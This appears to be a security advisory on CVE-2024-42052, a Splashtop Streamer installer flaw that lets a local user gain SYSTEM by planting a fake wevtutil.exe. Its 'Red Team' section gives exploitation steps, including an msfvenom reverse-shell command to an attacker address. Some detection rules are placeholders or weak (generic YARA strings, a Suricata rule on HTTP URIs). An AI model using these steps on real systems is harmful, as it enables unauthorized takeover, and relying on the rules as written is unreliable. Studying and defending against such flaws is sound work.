CVE-2024-42052

Executive Summary

CVE-2024-42052 is a high-severity privilege escalation vulnerability in the Splashtop Streamer for Windows installer (versions prior to 3.5.8.0). The MSI installer creates a temporary folder with weak permissions during installation. A local authenticated user can exploit this by placing a malicious wevtutil.exe file in that folder. When the installer executes, it will load the attacker's binary instead of the legitimate system utility, resulting in code execution with SYSTEM privileges. This vulnerability has a CVSS score of 7.8 and is currently unpatched in older versions. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a Windows installer (MSI) issue. The risk is limited to local privilege escalation on systems where Splashtop Streamer is being installed or updated.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. While the attack requires local access, the low complexity and high impact make it a significant risk for multi-user environments or systems where untrusted users have local accounts.

Deep Dive & Mechanics

The vulnerability lies in the MSI installer's handling of temporary files. During installation, Splashtop Streamer creates a temporary directory (likely under %TEMP% or a similar location) with weak discretionary access control lists (DACLs). This allows any local user to write files into that directory.

The installer then executes wevtutil.exe (Windows Event Log utility) from this temporary folder. Because the folder is writable by unprivileged users, an attacker can pre-place a malicious wevtutil.exe binary in that location. When the installer runs (often with elevated privileges), it will execute the attacker's binary instead of the legitimate system file, granting the attacker SYSTEM-level code execution.

The attack flow:

1. Attacker gains local access to the target system.
2. Attacker identifies the temporary folder used by the Splashtop installer (e.g., by monitoring file system activity or knowing the predictable path).
3. Attacker places a malicious wevtutil.exe in that folder.
4. The Splashtop installer runs (either manually or via automatic update).
5. The installer executes the malicious wevtutil.exe with SYSTEM privileges.
6. The attacker's payload runs, granting full control over the system.

Vulnerable vs. Patched Code

Vulnerable (pre-3.5.8.0): The MSI installer creates a temporary folder with weak permissions. The folder path is predictable and writable by all users. The installer does not verify the integrity or origin of wevtutil.exe before execution.

Patched (3.5.8.0 and later): The installer now creates the temporary folder with proper restrictive permissions, ensuring only the installer process (running as SYSTEM) can write to it. Additionally, the installer may use a secure path or verify the binary's digital signature before execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local user access on a Windows system with Splashtop Streamer < 3.5.8.0 installed or being installed.
• Ability to write to the temporary folder used by the installer.

Exploitation Steps:

1. Identify the temporary folder: Monitor the installer's behavior or check common paths like C:\Windows\Temp\SplashtopStreamer or %TEMP%\SplashtopStreamer.

2. Create a malicious wevtutil.exe: Use a tool like msfvenom to generate a reverse shell or add a local admin user.

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o wevtutil.exe
   

3. Place the malicious binary: Copy the malicious wevtutil.exe into the temporary folder before the installer runs.

   copy wevtutil.exe C:\Windows\Temp\SplashtopStreamer\wevtutil.exe
   

4. Trigger the installer: Either wait for an automatic update or manually run the installer.

   msiexec /i Splashtop_Streamer_x64.msi
   

5. Gain SYSTEM shell: The installer executes the malicious binary, and you receive a reverse shell as SYSTEM.

Blue Team

Detection:

• Monitor for creation of wevtutil.exe in non-standard locations (e.g., %TEMP%, C:\Windows\Temp).
• Alert on execution of wevtutil.exe from temporary directories.
• Use Sysmon Event ID 1 (Process Creation) to detect unusual parent-child relationships (e.g., msiexec.exe spawning wevtutil.exe from a temp folder).

Prevention:

• Apply the patch by upgrading to Splashtop Streamer 3.5.8.0 or later.
• Restrict local user write permissions to temporary directories using Group Policy.
• Enable Windows Defender Application Control (WDAC) or AppLocker to block execution from untrusted paths.
• Use Microsoft Defender for Endpoint or similar EDR to detect and block privilege escalation attempts.

Indicators of Compromise (IOCs)

• File: wevtutil.exe located in %TEMP%\SplashtopStreamer\ or similar temporary directories.
• Process: msiexec.exe spawning wevtutil.exe from a non-standard path.
• Registry: Unusual entries under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData related to Splashtop.
• Network: Outbound connections from wevtutil.exe to attacker-controlled IPs (if reverse shell used).
• Event Log: Windows Security Event ID 4688 (Process Creation) showing anomalous parent-child relationships.

Detection Engineering

YARA Rule

rule CVE_2024_42052_Splashtop_PrivEsc {
    meta:
        description = "Detects malicious wevtutil.exe placed in Splashtop temp folder"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-42052"
        hash = "unknown"
    strings:
        $s1 = "wevtutil.exe" nocase
        $s2 = "Splashtop" nocase
        $s3 = "Temp" nocase
    condition:
        $s1 and $s2 and $s3 and filesize < 10MB
}

Sigma Rule

title: CVE-2024-42052 Splashtop Streamer Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of wevtutil.exe from a temporary folder during Splashtop installation
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42052
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\wevtutil.exe'
        ParentImage|endswith: '\msiexec.exe'
        CommandLine|contains: 'Temp'
    condition: selection
falsepositives:
    - Legitimate wevtutil.exe execution from system32
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-42052 Splashtop Streamer Potential Exploit"; flow:to_server,established; content:"wevtutil.exe"; http_uri; content:"Splashtop"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Splashtop Streamer: Update to version 3.5.8.0 or later from the official Splashtop website.
2. Restrict Local Permissions: Ensure that standard users cannot write to %TEMP% or C:\Windows\Temp directories. Use Group Policy to set restrictive ACLs.
3. Monitor Installations: Use EDR or SIEM to alert on any MSI installation that spawns executables from temporary folders.

Long-Term Measures:

• Implement application whitelisting (e.g., AppLocker, WDAC) to block execution from writable paths.
• Regularly audit local user accounts and remove unnecessary privileges.
• Enable Windows Defender Credential Guard and other security features to mitigate lateral movement.

Valters IT Signature: This report is provided by Valters IT for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal. Always ensure compliance with applicable laws and regulations.